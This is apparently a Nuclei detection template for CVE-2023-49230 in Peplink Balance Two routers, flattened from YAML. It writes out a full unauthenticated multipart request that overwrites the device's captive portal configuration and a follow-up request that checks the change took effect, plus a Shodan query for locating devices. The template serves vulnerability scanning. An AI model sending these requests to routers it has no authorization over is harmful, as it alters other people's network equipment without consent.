1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| id: CVE-2023-49230
info: name: Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload author: srilakivarma severity: high description: | A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-49230 - https://www.synacktiv.com/publications%253Ffield_tags_target_id%253D4 - https://www.synacktiv.com/sites/default/files/2023-12/synacktiv-peplink-multiple-vulnerabilities.pdf classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2023-49230 cwe-id: CWE-862 epss-score: 0.00091 epss-percentile: 0.27 cpe: cpe:2.3:o:peplink:balance_two_firmware:*:*:*:*:*:*:*:* metadata: verified: true shodan-query: html:"PEPLINK" vendor: peplink product: balance_two_firmware tags: cve,cve2023,peplink,unauth,intrusive
flow: http(1) && http(2) && http(3)
http: - method: GET path: - "{{BaseURL}}/cgi-bin/MANGA/index.cgi"
matchers: - type: word part: body internal: true words: - 'init_company_name = "Peplink"'
- raw: - | POST /guest/portal_admin_upload.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------370611892836891531633729116268
-----------------------------370611892836891531633729116268 Content-Disposition: form-data; name="option"
edit_page -----------------------------370611892836891531633729116268 Content-Disposition: form-data; name="mode"
submit -----------------------------370611892836891531633729116268 Content-Disposition: form-data; name="portal_id"
1 -----------------------------370611892836891531633729116268 Content-Disposition: form-data; name="data"
{"status":"ok","config":{"login":{"access_mode":"open","message":"","tnc_content":"Terms and Conditions.","tnc_title":"Terms and Conditions","tnc_link":"terms","tnc_prompt":"I agree to #TNC_LINK#","back_login_button":"Back to Login","agree_button":"{{randstr}}","session_id1":" ","session_id2":" "},"common":{"hide_quota":"no","landing_url":"","logo_url":"logo.cgi?portal_id=1&type=preview","logo_url_def":"logo.cgi?default=1","uploaded_logo_size":0,"footer":"Powered by Peplink.","footer_default":"Powered by Peplink."},"success":{},"reach_quota":{},"quota":{"limit":{"data":0,"session_timeout":1800}}}} -----------------------------370611892836891531633729116268 Content-Disposition: form-data; name="logo_action"
x -----------------------------370611892836891531633729116268 Content-Disposition: form-data; name="logo"; filename="" Content-Type: application/octet-stream
-----------------------------370611892836891531633729116268--
matchers: - type: word part: body internal: true words: - '"status": "save_success"'
- raw: - | POST /guest/api.cgi HTTP/1.1 Host: {{Hostname}}
mode=info&option=preview&portal_id=1
matchers: - type: dsl dsl: - "contains(body, '{{randstr}}')" - 'status_code_2 == 200'
|